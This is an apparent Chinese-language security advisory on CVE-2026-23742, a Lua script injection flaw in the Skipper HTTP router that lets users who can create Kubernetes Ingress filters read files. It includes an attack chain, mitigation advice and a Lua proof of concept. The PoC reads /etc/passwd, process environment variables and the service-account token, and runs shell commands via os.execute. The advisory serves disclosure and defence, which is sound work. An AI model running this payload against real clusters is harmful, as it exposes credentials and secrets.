IPBUF安全漏洞报告
English
CVE-2026-23742 CVSS 8.8 高危

CVE-2026-23742 Skipper Lua脚本注入导致文件读取漏洞

披露日期: 2026-01-16

漏洞信息

漏洞编号
CVE-2026-23742
漏洞类型
文件读取/权限绕过
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Skipper (Zalando)

相关标签

CVE-2026-23742SkipperLua注入文件读取KubernetesIngress权限绕过 ZalandoHTTP路由反向代理

漏洞概述

Skipper是一个用于服务组合的HTTP路由和反向代理工具。在0.23.0版本之前,Skipper的默认配置为-lua-sources=inline,file,这允许通过内联方式执行Lua脚本。安全问题是,如果攻击者能够创建Lua过滤器(例如通过Kubernetes Ingress资源),他们可以利用内联Lua脚本功能读取skipper进程可访问的文件系统内容。当攻击者具有日志读取权限时,可以进一步获取skipper的敏感密钥信息。该漏洞的CVSS评分为8.8,属于高危级别,攻击复杂度低,无需特殊权限即可利用。攻击向量为网络,认证要求低权限即可,对机密性、完整性和可用性均造成高影响。

技术细节

漏洞根源在于Skipper默认启用了Lua脚本的内联执行功能(-lua-sources=inline)。在Kubernetes环境中,攻击者可以通过创建或修改Ingress资源来注入恶意Lua过滤器代码。由于skipper进程拥有特定文件系统的读取权限,恶意Lua脚本可以利用os.execute()或io.open()等函数读取敏感文件。攻击者首先读取日志文件获取skipper的配置信息和密钥存储路径,然后通过构造特定的Lua脚本读取如/etc/passwd、~/.ssh/*、环境变量文件等敏感资源。漏洞利用的关键在于:1)默认配置允许内联Lua执行;2)攻击者能够控制Ingress资源;3)skipper进程的文件系统权限可被Lua脚本滥用。修复版本0.23.0通过更改默认配置移除了inline选项,强制使用文件预定义的Lua脚本源。

攻击链分析

STEP 1
步骤1
攻击者获取Kubernetes集群中创建或修改Ingress资源的权限
STEP 2
步骤2
在Ingress配置中注入恶意Lua过滤器脚本,利用inline配置执行任意Lua代码
STEP 3
步骤3
恶意Lua脚本通过os.execute()或io.open()函数读取skipper进程可访问的文件系统
STEP 4
步骤4
如果攻击者有日志读取权限,可以读取skipper日志获取密钥存储路径和敏感配置
STEP 5
步骤5
通过读取环境变量文件或密钥文件获取skipper的secrets,如API密钥、认证令牌等

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
-- Lua script to read files accessible to skipper process -- CVE-2026-23742 PoC -- Function to read file contents local function read_file(path) local file = io.open(path, 'r') if file then local content = file:read('*all') file:close() return content end return nil end -- Read sensitive files local sensitive_paths = { '/etc/passwd', '/proc/self/environ', '/var/log/skipper/access.log', '/run/secrets/kubernetes.io/serviceaccount/token' } -- Execute and exfiltrate (simulated) for _, path in ipairs(sensitive_paths) do local content = read_file(path) if content then -- In real attack, this would be exfiltrated print('File found: ' .. path) end end -- Alternative: Use os.execute to read files os.execute('cat /etc/passwd') os.execute('env > /tmp/env.txt')

影响范围

Skipper < 0.23.0

防御指南

临时缓解措施
立即将Skipper升级到0.23.0版本以修复该漏洞。如果无法立即升级,可以通过修改启动参数将-lua-sources配置改为仅使用预定义文件源,移除inline选项。同时,应审查并限制谁有权创建或修改Kubernetes Ingress资源,实施严格的RBAC策略。对skipper日志访问进行权限控制,并监控异常的文件读取行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表